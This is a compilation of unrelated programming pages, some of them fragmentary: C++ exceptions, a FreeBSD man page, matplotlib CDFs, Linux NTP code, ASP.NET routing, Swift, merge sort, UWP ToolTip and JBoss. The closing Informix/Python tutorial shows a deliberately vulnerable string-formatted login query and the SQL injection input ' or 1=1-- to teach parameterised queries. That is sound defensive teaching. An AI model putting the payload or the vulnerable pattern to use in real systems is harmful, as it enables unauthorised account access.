#include <iostream> #include <ostream> #include <memory> #include <exception> #include <stdexcept> #include <typeinfo> #include <algorithm> #include <cstdlib> #include "InvalidArgumentException.h" #include "../pchar.h" using namespace CppForCsExceptions; using namespace std; class ThrowClass { public: ThrowClass(void) : m_shouldThrow(false) { wcout << L"Constructing ThrowClass." << endl; } explicit ThrowClass(bool shouldThrow) : m_shouldThrow(shouldThrow) { wcout << L"Constructing ThrowClass. shouldThrow = " << (shouldThrow ? L"true." : L"false.") << endl; if (shouldThrow) { throw InvalidArgumentException<const char*>( "ThrowClass", "ThrowClass(bool shouldThrow)", "shouldThrow", "true" ); } } ~ThrowClass(void) { wcout << L"Destroying ThrowClass." << endl; } const wchar_t* GetShouldThrow(void) const { return (m_shouldThrow ? L"True" : L"False"); } private: bool m_shouldThrow; }; class RegularClass { public: RegularClass(void) { wcout << L"Constructing RegularClass." << endl; } ~RegularClass(void) { wcout << L"Destroying RegularClass." << endl; } }; class ContainStuffClass { public: ContainStuffClass(void) : m_regularClass(new RegularClass()), m_throwClass(new ThrowClass()) { wcout << L"Constructing ContainStuffClass." << endl; } ContainStuffClass(const ContainStuffClass& other) : m_regularClass(new RegularClass(*other.m_regularClass)), m_throwClass(other.m_throwClass) { wcout << L"Copy constructing ContainStuffClass." << endl; } ~ContainStuffClass(void) { wcout << L"Destroying ContainStuffClass." << endl; } const wchar_t* GetString(void) const { return L"I'm a ContainStuffClass."; } private: unique_ptr<RegularClass> m_regularClass; shared_ptr<ThrowClass> m_throwClass; }; void TerminateHandler(void) { wcout << L"Terminating due to unhandled exception." << endl; // If you call abort (from <cstdlib>), the program will exit // abnormally. It will also exit abnormally if you do not call // anything to cause it to exit from this method. abort(); //// If you were instead to call exit(0) (also from <cstdlib>), //// then your program would exit as though nothing had //// gone wrong. This is bad because something did go wrong. //// I present this so you know that it is possible for //// a program to throw an uncaught exception and still //// exit in a way that isn't interpreted as a crash, since //// you may need to find out why a program keeps abruptly //// exiting yet isn't crashing. This would be one such cause //// for that. //exit(0); } int _pmain(int /*argc*/, _pchar* /*argv*/[]) { // Set a custom handler for std::terminate. Note that this handler // won't run unless you run it from a command prompt. The debugger // will intercept the unhandled exception and will present you with // debugging options when you run it from Visual Studio. set_terminate(&TerminateHandler); try { ContainStuffClass cSC; wcout << cSC.GetString() << endl; ThrowClass tC(false); wcout << L"tC should throw? " << tC.GetShouldThrow() << endl; tC = ThrowClass(true); wcout << L"tC should throw? " << tC.GetShouldThrow() << endl; } // One downside to using templates for exceptions is that you need a // catch handler for each specialization, unless you have a base // class they all inherit from, that is. To avoid catching // other std::invalid_argument exceptions, we created an abstract // class called InvalidArgumentExceptionBase, which serves solely to // act as the base class for all specializations of // InvalidArgumentException<T>. Now we can catch them all, if desired, // without needing a catch handler for each. If you wanted to, however, // you could still have a handler for a particular specialization. catch (InvalidArgumentExceptionBase& e) { wcout << L"Caught '" << typeid(e).name() << L"'." << endl << L"Message: " << e.what() << endl; } // Catch anything derived from std::exception that doesn’t already // have a specialized handler. Since you don't know what this is, you // should catch it, log it, and re-throw it. catch (std::exception& e) { wcout << L"Caught '" << typeid(e).name() << L"'." << endl << L"Message: " << e.what() << endl; // Just a plain throw statement like this is a re-throw. throw; } // This next catch catches everything, regardless of type. Like // catching System.Exception, you should only catch this to // re-throw it. catch (...) { wcout << L"Caught unknown exception type." << endl; throw; } // This will cause our custom terminate handler to run. wcout << L"tC should throw? " << ThrowClass(true).GetShouldThrow() << endl; return 0; }
Though I mention it in the comments, I just wanted to point out again that you will not see the custom terminate function run unless you run this sample from a command prompt. If you run it in Visual Studio, the debugger will intercept the program and orchestrate its own termination after giving you a chance to examine the state to see if you can determine what went wrong. Also, note that this program will always crash. This is by design since it allows you to see the terminate handler in action.
Conclusion
As we saw in this article, RAII helps ensure that you release resources, without exceptions occurring, by simply using automatic storage duration objects that contain the resources. In the next installment of this series, we zoom in on pointers and references.
This lesson represents a chapter from C++ Succinctly, a free eBook from the team at Syncfusion.<<
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NAME
ng_pred1 -- Predictor-1 PPP compression (RFC 1978) netgraph node type
SYNOPSIS
#include <sys/types.h> #include <netgraph/ng_pred1.h>
DESCRIPTION
The pred1 node type implements the Predictor-1 sub-protocols of the Compression Control Protocol (CCP). The node has two hooks, comp for compression and decomp for decompression. initiated the session. The receiver should respond by sending a PPP CCP Reset-Request to the peer. This message may also be received by this node type when a CCP Reset-Request or Reset-Ack is received by the local PPP entity. The node will respond by flushing its compression state so the sides can resynchronize. NG_GETCLR_STATS (getclrstats) This control message obtains and clears statistics for a given hook.
SHUTDOWN
This node shuts down upon receipt of a NGM_SHUTDOWN control message, or when hook have been disconnected.
SEE ALSO
netgraph(4), ng_ppp(4), ngctl(8) D. Rand, PPP Predictor Compression Protocol, RFC 1978. W. Simpson, The Point-to-Point Protocol (PPP), RFC 1661.
AUTHORS
Alexander Motin <mav@alkar.net>
BUGS
Due to nature of netgraph PPP implementation there are possible race conditions between data packet and ResetAck CCP packet in case of packet loss. As result, packet loss can produce bigger performance degradation than supposed by protocol.
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How can I plot the empirical CDF of an array of numbers in matplotlib in Python? I'm looking for the cdf analog of pylab's "hist" function.
One thing I can think of is:
from scipy.stats import cumfreq a = array([...]) # my array of numbers num_bins = 20 b = cumfreq(a, num_bins) plt.plot(b)
Is that correct though? Is there an easier/better way?
thanks.
That looks to be (almost) exactly what you want. Two things:
First, the results are a tuple of four items. The third is the size of the bins. The second is the starting point of the smallest bin. The first is the number of points in the in or below each bin. (The last is the number of points outside the limits, but since you haven't set any, all points will be binned.)
Second, you'll want to rescale the results so the final value is 1, to follow the usual conventions of a CDF, but otherwise it's right.
Here's what it does under the hood:
def cumfreq(a, numbins=10, defaultreallimits=None): # docstring omitted h,l,b,e = histogram(a,numbins,defaultreallimits) cumhist = np.cumsum(h*1, axis=0) return cumhist,l,b,e
It does the histogramming, then produces a cumulative sum of the counts in each bin. So the ith value of the result is the number of array values less than or equal to the the maximum of the ith bin. So, the final value is just the size of the initial array.
Finally, to plot it, you'll need to use the initial value of the bin, and the bin size to determine what x-axis values you'll need.
Another option is to use
numpy.histogram which can do the normalization and returns the bin edges. You'll need to do the cumulative sum of the resulting counts yourself.
a = array([...]) # your array of numbers num_bins = 20 counts, bin_edges = numpy.histogram(a, bins=num_bins, normed=True) cdf = numpy.cumsum(counts) pylab.plot(bin_edges[1:], cdf)
(
bin_edges[1:] is the upper edge of each bin.)
If you like
linspace and prefer one-liners, you can do:
plt.plot(np.sort(a), np.linspace(0, 1, len(a), endpoint=False))
Given my tastes, I almost always do:
# a is the data array x = np.sort(a) y = np.arange(len(x))/float(len(x)) plt.plot(x, y)
Which works for me even if there are
>O(1e6) data values.
If you really need to down sample I'd set
x = np.sort(a)[::down_sampling_step]
Edit to respond to comment/edit on why I use
endpoint=False or the
y as defined above. The following are some technical details.
The empirical CDF is usually formally defined as
CDF(x) = "number of samples <= x"/"number of samples"
in order to exactly match this formal definition you would need to use
y = np.arange(1,len(x)+1)/float(len(x)) so that we get
y = [1/N, 2/N ... 1]. This estimator is an unbiased estimator that will converge to the true CDF in the limit of infinite samples Wikipedia ref..
I tend to use
y = [0, 1/N, 2/N ... (N-1)/N] since (a) it is easier to code/more idomatic, (b) but is still formally justified since one can always exchange
CDF(x) with
1-CDF(x) in the convergence proof, and (c) works with the (easy) downsampling method described above.
In some particular cases it is useful to define
y = (arange(len(x))+0.5)/len(x)
which is intermediate between these two conventions. Which, in effect, says "there is a
1/(2N) chance of a value less than the lowest one I've seen in my sample, and a
1/(2N) chance of a value greater than the largest one I've seen so far.
However, for large samples, and reasonable distributions, the convention given in the main body of the answer is easy to write, is an unbiased estimator of the true CDF, and works with the downsampling methodology.
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On Wed, 2004-12-08 at 15:53, Christoph Lameter wrote:> On Wed, 8 Dec 2004, john stultz wrote:> > However, there is also this short term single shot adjustments. These> > adjustments are made by applying the MAX_SINGLESHOT_ADJ (500ppm) scaling> > for an amount of time (offset_len) which would compensate for the> > offset. This style is difficult because we cannot precompute it and> > apply it to an entire tick. Instead it needs to be applied for just a> > specific amount of time which may be only a fraction of a tick. When we> > start talking about systems with irregular tick frequency (via> > virtualization, or tickless systems) it becomes even more problematic.> > We would need to schedule a special tick like event at a certain time but> otherwise I do not see a problem. Is there a requirement that these> "specific amounts of time" are less than 1 ms? The timer hardware (such as> the RTC clock) can generate an event in <200ns that could be used to> change the scaling. For a tickless system we would need to have such> scheduled events anyways.Eh, I'd like to not to be dependent on event accuracy/frequency. Letssee if we can do it w/o scheduling events. > > If this can be fudged then it becomes less of an issue. Or at worse, we> > have to do two mult/shift operations on two "parts" of the time interval> > using different adjustments.> > That looks troublesome. Better avoid that.Well, its not *that* bad. Similar to the ntp_scale() function, it wouldlook something like:if (interval <= offset_len) return (interval * singleshot_mult)>>shift;else { cycle_t v1,v2; v1 = (offset_len * singleshot_mult)>>shift; v2 = (interval-offset_len)*adjusted_mult)>>shift; return v1+v2;}Where: singleshot_mult = original_mult + ntp_adj + ss_multand adjusted_mult = original_mult + ntp_adj> > Its starting to look doable, but its not necessarily the simplest thing> > (for me at least). I'll put it on my list, but patches would be more> > then welcome.> > I am still suffering from my limited NTP knowlege but will see what I can> do about this.:) Any added NTP knowledge would be great to add to the pool. -john-To unsubscribe from this list: send the line "unsubscribe linux-kernel" inthe body of a message to majordomo@vger.kernel.orgMore majordomo info at read the FAQ at
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Back to: ASP.NET Web API Tutorials For Begineers and Professionals
ASP.NET Web API Attribute Routing
In this article, I am going to discuss Web API Attribute Routing with some examples. As we already discussed in the ASP.NET Web API Routing article that the Routing is a pattern matching mechanism to match an incoming HTTP Request to an action method of a controller.
The ASP.NET Web API 2 and ASP.NET MVC 5 supports a new type of routing called attribute routing. As the name implies, attribute routing means attributes are used to define routes. The Attribute routing provides more control over the URIs in your Web API application by defining routes directly on the actions and controllers. For example, you can easily create URIs that describes the hierarchies of resources.
The earlier style of routing called convention-based routing is still fully supported by Web API. In fact, you can combine both approaches in the same project.
In this article, we will discuss how to enable attribute routing in Web API and describes the various options for attribute routing.
Why do we need Web API Attribute Routing?
The first release of Web API uses the convention-based routing. In convention-based, we can define one or more route templates in the WebApiConfig file, which are basically parameterized strings. When the Web API Framework receives an HTTP request, it matches the URI against the route template that is available in the Route Table. For more information about convention-based routing, Please read the following articles where we discussed the Convention based Routing in Web API with examples.
One advantage of convention-based routing is that all the URI templates are defined in a single place, and the routing rules are applied consistently across all the controllers.
But the convention-based routing in Web API makes it hard to support certain URI patterns that are common in RESTful APIs. For example, resources often contain child resources: Customers have orders, movies have actors, books have authors, etc. It’s natural to create URIs that reflects these relations:
Let’s understand this with an example.
Step1: Create a new Web API application. Name it AttributeRoutingInWEBAPI
Step2: Right-click on the “Models” folder and add a class file with the name Student.cs and then copy and paste the following code.
namespace AttributeRoutingInWEBAPI.Models { public class Student { public int Id { get; set; } public string Name { get; set; } } }
Step3: Now, add Students Controller.
To do so Right-click on the Controllers folder and add a new Web API2 controller – Empty. Name it StudentsController.cs. Copy and paste the following code." } }; public IEnumerable<Student> Get() { return students; } public Student Get(int id) { return students.FirstOrDefault(s => s.Id == id); } public IEnumerable<string> GetStudentCourses(int id) { List<string> CourseList = new List<string>(); if (id == 1) CourseList = new List<string>() { "ASP.NET", "C#.NET", "SQL Server" }; else if (id == 2) CourseList = new List<string>() { "ASP.NET MVC", "C#.NET", "ADO.NET" }; else if (id == 3) CourseList = new List<string>() { "ASP.NET WEB API", "C#.NET", "Entity Framework" }; else CourseList = new List<string>() { "Bootstrap", "jQuery", "AngularJs" }; return CourseList; } } }
In Web API1, we had the convention-based routing that defines the routes using the route templates. When we create a new Web API project the Web API Framework creates a default route in the WebApiConfig.cs file. The default route is shown below
So with the above default route and the StudentsController in place /api/students is mapped to the Get() method of StudentsController as expected as shown in the below image.
But when we navigate to /api/students/1 we get the following exception message
Multiple actions were found that match the request: Get on type AttributeRoutingInWEBAPI.Controllers.StudentsController GetStudentCourses on type AttributeRoutingInWEBAPI.Controllers.StudentsController
This is because the Web API Framework does not know which of the 2 following action methods to map to the URI /api/students/1
Get(int id) GetStudentCourses(int id)
This can be very easily achieved by using the Attribute Routing. Here is what we want the WEB API Framework to do
- URI /api/students/1 should be mapped to Get(int id). This method should return the student by id.
- The URI /api/students/1/courses should be mapped to GetStudentCourses(int id). This method should return the student courses by student id.
To achieve the above, we need to decorate the GetStudentCourses() action method with the [Route] attribute as shown in the below image
At this point build the solution and navigate to /api/students/1. Notice that, now you will get the student details whose id=1 and when you navigate to /api/students/1/courses you will get all the courses into which student with id=1 is enrolled.
Let us see some of the examples where attribute routing makes it easy.
API versioning
In the below example, the route “/api/v1/students” would be routed to a different controller than the “/api/v2/students” route.
/api/v1/students
/api/v2/students
Overloaded URI segments
In this example, “1” is an order number, but “pending” maps to a collection.
/orders/1
/orders/pending
Multiple parameter types
In this example, “1” is an order number, but “2013/06/16” specifies a date.
/orders/1
/orders/2013/06/16
How to enable Web API Attribute Routing?
In Web API 2, the Attribute Routing is enabled by default. The config.MapHttpAttributeRoutes(); code which is present in WebApiConfig.cs file enables the Web API Attribute Routing.
We can also combine the Web API Attribute Routing with convention-based routing. To define convention-based routes, call the MapHttpRoute method as shown below.
Can we use both Attribute Routing and Convention-based routing in a single Web API project?
Yes, We can combine both the routing mechanisms in a single ASP.NET Web API project. The controller action methods that have the [Route] attribute uses the Attribute Routing and the others without [Route] attribute uses Convention-based routing.
Note: You need to configure the Attribute routing before the convention-based routing in ASP.NET Web API.
What are the advantages of using Web API Attribute Routing?
- It gives us more control over the URIs than convention-based routing. Creating URI patterns like hierarchies of resources (For example, students have courses, Departments have employees) is very difficult with convention-based routing.
- Reduces the chances for errors, if a route is modified incorrectly in RouteConfig.cs then it may affect the entire application’s routing.
- May decouple controller and action names from route entirely.
- Easy to map two routes pointing to the same action.
In the next article, we will discuss Optional Parameters in Web API Attribute Routing with examples. Here, in this article, I try to explain the Web API Attribute Routing step by step with some examples. I hope this Web API Attribute Routing article will help you with your needs. I would like to have your feedback. Please post your feedback, question, or comments about this article.
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https://dotnettutorials.net/lesson/attribute-routing-in-web-api/
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This morning, I discovered that Swift uses a different cross platform approach to Objective C. To determine the OS for type aliasing, use os() and pass it either OSX or iOS, as in the following example:
// OSX, iOS #if os(iOS) typealias View = UIView #else typealias View = NSView #endif
Once defined, the following code ran on both iOS and OS X. It compiled without incident and correctly reported the correct class of var myView = View() when I ran println("\(myView.description)") In addition to OS testing, you can check whether your code is running on the simulator or on-device. The following code all seemed to behave properly in my tests.
// x86_64, arm, arm64, i386 #if os(iOS) println("iOS") #if arch(i386) || arch(x86_64) println("Simulator") #else #if arch(arm) println("Device (arm)") #else println("Device (arm64)") #endif #endif #else println("OS X") #endif
I should mention that compiling to device had several issues. First, Xcode gave me a bit of a hard time about code signing, which I bypassed by linking the codesign_allocate from Xcode 5 (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/codesign_allocate) to /usr/bin. I also had to hand-update the developer settings for development/distribution.
Second, I could not get anything to run with my iOS 8 device. This is apparently a known problem. I ended up restoring the thing, and it still doesn’t work. So I just put it aside for now and am compiling for the moment to my primary iOS 7 device, which is fine for early tests, but not great for new APIs. I’ll update if I get the #$@%ing device working. (And no, rebooting everything multiple times didn’t work, nor did disconnect/reconnect. It’s really chicken-entrails-time here.)
Final pro tip. In the Devices organizer in new Xcode, right-click the device and choose Show Provisioning Profiles to access them. Here is also where you can click to rename your device, and because it’s a standard text field, it will even offer to spell-correct your device name with hilarious suggestions.
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http://ericasadun.com/2014/06/06/swift-cross-platform-code/
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Question:
I need to generate random names which I'll be using to create temporary files in a directory. Currently I am using C standard function tempnam() for this. My code is in C++ and would like to use C++ equivalent for doing the same task. The code needs to work on Solaris as well as on Windows.
Is anyone aware of such thing in C++? Any pointer on this would be highly appreciated.
Solution:1
Try
std::tempnam in the
cstdio header. ;)
The C standard library is still available in C++ code. For convenience, they provide C++ wrappers (in headers with the 'c' prefix, and no extension), and available in the std namespace.
You can also use the plain C version (stdio.h and tempnam in the global namespace, but you did ask for the C++ version ;))
The C++ standard library only provides new functions when there's actually room for improvement. It has a string class, because a string class is an improvement over char pointers as C has. It has a vector class, because, well, it's useful.
For something like
tempnam, what would C++ be able to bring to the party, that we didn't already have from C? So they didn't do anything about it, other than making the old version available.
Solution:2
I know this doesn't answer your question but as a side note, according to the man page:
Although tempnam(3) generates names that are difficult to guess, it is nevertheless possible that between the time that tempnam(3)).
Solution:3
Why not just using the same function you are currently using in C? C++ is backward compatible with C.
Solution:4
What's wrong with tempnam()? You can use regular libc function right? tempnam is in stdio.h, which you're likely already including.
Solution:5
#include <cstdio> using std::tmpnam; using std::tmpfile;
You should also check this previous question on StackOverflow and avoid race conditions on creating the files using mkstemp, so I would recommend using std::tmpfile
Note:If u also have question or solution just comment us below or mail us on toontricks1994@gmail.com
EmoticonEmoticon
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http://www.toontricks.com/2018/06/tutorial-tempnam-equivalent-in-c.html
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Issues
ZF-9604: Action helpers with PHP namespaces do not work
Description
The issue is Zend_Controller_Action_HelperBroker::getHelper().
I think the helper is stored in the stack as "Namespace\MyHelper", and then the code tries to access it from the stack using the name "MyHelper", i.e., without the namespace.
Posted by Wil Moore III (wilmoore) (wilmoore) on 2010-11-21T02:44:13.000+0000
Actually, the problem is Zend_Controller_Action_Helper_Abstract#getName.
It assumes only "_" in the name but doesn't consider names with "\".
If you extend Zend_Controller_Action_Helper_Abstract and override getName(), your helpers will work. I've been using the following:
BTW, the fix for issue ZF-10158 corrects this:
That being the case, this issue should be moved or closed.
Posted by Ramon Henrique Ornelas (ramon) on 2010-12-18T12:55:48.000+0000
Fixed with the issue ZF-9604.
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http://framework.zend.com/issues/browse/ZF-9604?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel
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Posted 16 Mar 2012
Link to this post
Posted 19 Mar 2012
Link to this post
This filter is only how the files are shown in the Open File Dialog. The filter does not prevent adding items in the Upload control that do not meet the filter's criteria. If you want to allow uploading item of only certain types or extensions, you can use the RadUploadItem.Validate event. You can see how to use it here.
Posted 10 Jul 2012
Link to this post
Posted 12 Jul 2012
Link to this post
Can you please confirm that you have added a reference to the Telerik.Windows namespace?
If yes, is it possible for you to send us a new support ticket with a project in which your issue is reproducible?
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http://www.telerik.com/forums/file-filter-flaw
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In this article, we will study what is sorting and its importance in practical life. Further, we will learn merge sort and its technique using the divide and conquer approach. Also, we will learn the merge sort algorithm using an example along with its python code, and lastly the applications of merge sort in detail. So, let's get started!
What is Sorting And How It Is Important?
Sorting is a technique to rearrange the collection of data into a specific order. Just imagine trying to find a meaning of the word in the dictionary, which is not ordered in alphabetical sequence! It's really time-consuming and not at all an effective process. Therefore, we use certain sorting algorithms which help us to order the collection of data whether it’s worded in a dictionary or phone numbers on your mobile. There are many sorting algorithms possible to sort the data like the bubble sort, insertion sort, merge sort, quick sort, counting sort, etc. All these algorithms have their own techniques to sort the data, along with some advantages and disadvantages. In this article, our focus is on what is merge sort, and its algorithm to sort the large collection of data efficiently and in a very short amount of time.
What is Merge Sort?
Merge sort is one of the most important sorting algorithms based on the divide and conquer technique. Merge sort is very popular for its efficiency to sort the data in a small amount of time. It is one of the best examples of applications for divide and conquers algorithms. Basically, the principle working of merge sort is that it divides the list of data into two halves and again calls these subparts to further divide it into two halves. It keeps repeating the process until each subpart of the list contains only one element. Later, it will join these sub-parts of one element each into two elements by sorting them. Again, the subpart containing two elements will be joined with the other two elements after sorting. This process keeps repeating by calling the function recursively until we get the final sorted list of elements.
Algorithm for Merge Sort
The divide and conquer approach to sort n numbers using merge sort consists of separating the array T into two parts where the sizes are almost the same. These two parts are sorted by recursive calls and then merged with the solution of each part while preserving the order. The algorithm considers two temporary arrays U and V, into which the original array T is divided. When the number of elements to be sorted is small, a relatively simple algorithm is used. ‘mergeSort’ separates the instance into two halves sized sub instances, solves them recursively, and then combines the two sorted half arrays to obtain the solution to the original instance.
Merge(U[1,....,m+1], V[1,....,n+1], T[1,....,m+n]) i,j <- 1 U[m+1], V[n+1] <- infinite for k <- 1 to m+n do if U[i] < V[j] then T[k] <- U[i]; i <- i + 1 else T[k] <- V[j]; j <- j + 1 mergeSort(T[1,....,n]) if n is sufficiently small then insert(T) else array U[1,...1+(n/2)], V[1,....1+(n/2)] U[1,...(n/2)] <- T[1,...(n/2)] V[1,...(n/2)] <- T[(n/2)+1,...n] mergeSort(U[1,...(n/2)]) mergeSort(V[1,...(n/2)]) Merge(U, V, T)
Example
Here we take the given unsorted list of elements.
We divide it into two halves as given below
We keep dividing it until the subpart of the list consists of only one element
Later, we will combine the two elements in the given sorted manner
Again, we will combine the two lists of two elements and convert them into a list of four elements after sorting. We will keep repeating the process until we find the final sorted sequence of the array
The final sorted sequence of data is as given
Python Program For Merge Sort
def mergeSort(arr): if len(arr) > 1: a = len(arr)//2 l = arr[:a] r = arr[a:] # Sort the two halves mergeSort(l) mergeSort(r) b = c = d = 0 while b < len(l) and c < len(r): if l[b] < r[c]: arr[d] = l[b] b += 1 else: arr[d] = r[c] c += 1 d += 1 while b < len(l): arr[d] = l[b] b += 1 d += 1 while c < len(r): arr[d] = r[c] c += 1 d += 1 def printList(arr): for i in range(len(arr)): print(arr[i], end=" ") print() # Driver program if __name__ == '__main__': arr = [0,1,3,5,7,9,2,4,6,8] mergeSort(arr) print("Sorted array is: ") printList(arr)
Output
0,1,2,3,4,5,6,7,8,9
Time and Space Complexity
The running time complexity for best case, worst case, and average-case scenario is O(n*log n) where n is the number of elements to be sorted. The space complexity of the algorithm is O(n) where we need an array of size n to place the sorted element.
Advantages Of Merge Sort
- Merge sort allows sorting large data set easily
- Merge sort can access data in sequence, hence the need for random access is low
- Merge sort is a stable sorting algorithm
- It has the same running time complexity irrespective of case scenarios
Disadvantages Of Merge Sort
- It requires an array of the same size as the original list to store the final sorted array which consumes the large memory space
- It is slower when it comes to sorting smaller data sets
Applications
- Merge sort is used in e-commerce application
- Merge sort is the best way to sort the linked list in comparison to another sorting algorithm
- Merge sort is used in internal and external sorting
- It is used in organizing MP3 library
- It is used to display Google PageRank results
- Merge sort is widely used in inversion count problem
Conclusion
As merge sort has its own importance to sort the data fast and effectively, it is the most important sorting algorithm among all others. Merge sort is applied as a basic strategy in every possible practical application in our day-to-day life and hence here we have mentioned the working and example of merge sort with its advantages as well as disadvantages for your clear understanding.
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https://favtutor.com/blogs/merge-sort-python
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Tool
Tip
Tool Tip
Tool Tip
Tool Tip
Class
Definition
public : class ToolTip : ContentControl, IToolTip
struct winrt::Windows::UI::Xaml::Controls::ToolTip : ContentControl, IToolTip
public class ToolTip : ContentControl, IToolTip
Public Class ToolTip Inherits ContentControl Implements IToolTip
<ToolTip .../> -or- <ToolTip ...> singleObject </ToolTip ...> -or- <ToolTip ...>stringContent</ToolTip>
- Inheritance
-
- Attributes
-
Examples
This example demonstrates basic tooltips and the properties for placement.
<!-- A button with a simple ToolTip. --> <Button Content="Button with a simple ToolTip." ToolTipService. <!-- A TextBlock with an offset ToolTip. --> <TextBlock Text="TextBlock with an offset ToolTip."> <ToolTipService.ToolTip> <ToolTip Content="Offset ToolTip." HorizontalOffset="20" VerticalOffset="30"/> </ToolTipService.ToolTip> </TextBlock>
Remarks
A ToolTip is a short description that is linked to another control or object. ToolTip s help users understand unfamiliar objects that aren't described directly in the UI. They display automatically when the user presses and holds or hovers the mouse pointer over a control. The ToolTip disappears after a short time, or when the user moves the pointer.
Here's a ToolTip for a Button.
For design guidelines, see Guidelines for tooltips.
Usage
A ToolTip must be assigned to another UI element that is its owner. The ToolTipService class provides static methods to display a ToolTip.
In XAML, use the ToolTipService.Tooltip attached property to assign the ToolTip to an owner.
<Button Content="Submit" ToolTipService.
In code, use the ToolTipService.SetToolTip method to assign the ToolTip to an owner.
<Button x:
ToolTip toolTip = new ToolTip(); toolTip.Content = "Click to submit"; ToolTipService.SetToolTip(submitButton, toolTip);
You can use any object as the Content of a ToolTip. Here's an example of using an Image in a ToolTip.
<TextBlock Text="store logo"> <ToolTipService.ToolTip> <Image Source="Assets/StoreLogo.png"/> </ToolTipService.ToolTip> </TextBlock>
Placement
By default, a ToolTip is displayed centered above the pointer. The placement is not constrained by the app window, so the ToolTip might be displayed partially or completely outside of the app window bounds.
If a ToolTip obscures the content it is referring to, you can adjust it's placement. Use the Placement property or ToolTipService.Placement attached property to place the ToolTip above, below, left, or right of the pointer. You can set the VerticalOffset and HorizontalOffset properties to change the distance between the pointer and the ToolTip. ToolTip control.
Notes for previous versions
Windows 8.x ToolTip is intended only for use in Windows. The ToolTip type is available in Windows Phone projects for compatibility with universal project templates, but the ToolTip is not shown in the Windows Phone UI.
ToolTip is displayed only within the bounds of the app window. It's placement might be adjusted to stay within those bounds.
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https://docs.microsoft.com/en-us/uwp/api/Windows.UI.Xaml.Controls.ToolTip
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Jboss 5.1.0GA, JbossWS native 3.4.0
also present in Jboss 5.1.2 eap with JbossWS native 3.1.2sp13
I've been noticing that each time something requests the wsdl from my web service endpoint, there is a huge spike in CPU usage on the server. Upon further investigation, I checked out the class definition for the service
@WebService(serviceName="service1", name="service1", targetNamespace="urn:service1")
public class Service1Impl
{
//stuff
}
and then compared the wsdl presented by Jbossws with the one I had started with (top down) and they were different so I'm assuming that in this case, JbossWS generates a wsdl on the fly using reflection. The problem is that this is on every request. This probably should be cached somehow.
Continuing the investigation, I tried adding the wsdlLocation parameter to the class and deployed.
@WebService(serviceName="service1", name="service1", targetNamespace="urn:service1", wsdlLocation="WEB-INF/wsdl/my.wsdl")
public class Service1Impl
{
//stuff
}
The ?wsdl url now returns the same wsdl that I had created from the top down approach, which is good, however I'm still getting a significant delay when loading the ?wsdl endpoint and high CPU usage when pressing refresh a bunch of times. I'm not sure what's happening, but there should be no to little delay for this after the first time the wsdl is presented. It seems clear that there is no caching mechanism.
Question 1: how can I reduce the CPU usage and delay for returning the service?wsdl endpoint?
Question 2: is there a way to disable the auto generation of ?wsdl url and replace it with something else?
Question 3: is there any kind of cache mechanism that exists to resolve this?
Question 4: does the cxf stack provide any way to resolve this?
A few notes: all supporting files (i.e. imports) MUST be in WEB-INF/wsdl), if placed anywhere else, deployment tends to fail. My web service is actually a seperate jar bundled within a WAR file and thus the wsdl/xsd files must bein the WAR's WEB-INF/wsdl folder.
I have the same issue, with JBoss 5.1.0GA the Webservice's calling takes 0.3 second while with JBoss 7.1.1 Final takes 1 second... have you resolved it?
|
https://developer.jboss.org/thread/204990
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Suppose for example you are developing an application that has access control based on a username and password. When the user supplies the username and password, you have to check this combination against a database table that stores the usernames and passwords of all authorized users. If you didn't know any better, you might use string formatting to build a query that contains the user-supplied data, along these lines:
def authenticate_user(conn, username, password):
cur = conn.cursor()
cur.execute("""
select count(*) from authorized_users
where username = '%s'
and password = '%s'
""" % (username, password) )
row = cur.fetchone()
return (row[0]>1)
(The % operator is Python's equivalent of the sprintf() function in C.)
On the surface, this works, but this approach is bad for a number of reasons. For one, if the username or password contains an apostrophe, substituting them into the query will produce a syntax error. Worse, if a black-hat hacker enters ' or 1=1-- into the password field, he circumvents the verification logic and he can access any user's account without knowing the password. This kind of attack is widely known as SQL Injection Attack, and any application that fills user input into a query unchecked and unmodified is vulnerable to such an attack.
You could take measures against an SQL injection attack by quoting apostrophes that appear in the user's input, or by rejecting suspicious inputs, but you have to remember to do this for every single query, which can become tedious, and there may be ways to exploit your query that you haven't thought of. Schneier's Law applies here: "Any person can invent a security system so clever that she or he can't think of how to break it."
Even if you could develop an ironclad protection against SQL injection attacks, another problem remains: Every time the query is executed with different inputs, the database sees a different query. This means that the database has to go through the hard work of parsing the query and devising a query plan every time the query is executed. If the query is executed often enough, this will have a measurable negative impact on your application's performance.
An Informix-specific drawback of the string formatting approach is that you need to plug in a literal value for the supplied data. Certain data types, notably simple large objects, can not be represented by literal values, so you have no way of passing a simple large object values to a query using the string formatting approach.
The authors of the SQL standard realized that application developers need a reliable way to execute queries with variable inputs, and they agreed on a special syntax for designating so-called parameters in SQL statements. This syntax uses question marks as placeholders for parameters, and the actual values for parameters are supplied separately at execution time.
In Python with the InformixDB module, that looks like this:
def authenticate_user(conn, username, password):
cur = conn.cursor()
cur.execute("""
select count(*) from authorized_users
where username = ?
and password = ?
""", (username, password) )
row = cur.fetchone()
return (row[0]>1)
Note that there are no quotation marks around the question marks. If there were, we'd be comparing the username and password to the character string containing one question mark, which is not what we want. Instead, the question marks signal to the database that they represent variable input parameters that are supplied separately.
There are two significant differences in the code between this approach and the first approach. The first difference is the use of question marks instead of '%s'. The second difference is a bit harder to spot. In the string-formatting approach, we passed one argument to the execute() method, namely, the result of substituting the tuple of username and password into the "command template" with the % operator. In the question mark approach, we're passing two arguments to the execute() method. The first argument is the query string with parameter markers. The second argument is the tuple of username and password, which is supplied to the database as the actual parameter values for the query.
Using parameter placeholders eliminates both the performance problems and the stability and security problems of the string-formatting approach. The danger of SQL injections is rendered moot, because the parameters are never actually plugged into the query. This doesn't necessarily mean that your application is 100% secure, because the underlying database might have vulnerabilities such as buffer overflow exploits, but as long as your database engine is kept up to date on security patches, an application with parameter placeholder queries is much harder to break than an application that uses string formatting.
Using parameter placeholders improves performance since the parameter contents are supplied separately, so the database always sees the same query every time this query is executed. This means that the database can skip the costly step of parsing and planning the query for repeated executions of the same query. To illustrate the amount of improvement that can be achieved, consider the following timing experiment:
# querytest.py
class Tester(object):
def __init__(self):
import informixdb
conn = informixdb.connect("ifxtest")
self.cur = conn.cursor()
self.cur.execute("create temp table t1(a int, b int)")
self.counter = 0
def with_params(self):
self.counter += 1
self.cur.execute("insert into t1 values(?,?)",
(self.counter,self.counter*2) )
def without_params(self):
self.counter += 1
self.cur.execute("insert into t1 values(%s,%s)" %
(self.counter,self.counter*2) )
